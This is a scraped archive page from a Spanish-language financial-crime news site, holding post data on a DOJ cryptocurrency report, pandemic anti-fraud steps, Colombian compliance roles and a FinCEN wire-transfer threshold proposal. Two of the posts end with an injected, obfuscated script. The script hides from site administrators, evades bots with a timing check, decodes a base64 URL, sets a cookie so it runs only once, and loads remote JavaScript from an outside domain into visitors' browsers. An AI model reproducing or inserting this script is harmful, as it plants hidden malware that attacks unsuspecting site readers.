srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar 